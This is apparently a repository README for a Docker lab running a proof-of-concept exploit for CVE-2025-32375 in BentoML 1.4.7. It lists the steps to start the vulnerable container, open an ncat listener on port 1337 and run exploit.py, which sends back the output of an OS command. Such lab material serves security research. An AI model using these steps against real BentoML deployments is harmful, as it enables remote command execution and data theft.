
This repository includes everything needed to run a PoC exploit for CVE-2025-32375 in a Docker environment. It runs the latest vulnerable version of BentoML (1.4.7).
Start the vulnerable container:
docker compose up
Create a listener (e.g. ncat):
ncat -klnv 1337
Run the exploit:
python3 exploit.py
You should receive an HTTP request in the ncat window with the contents of the OS command (id by default) if everything worked as expected.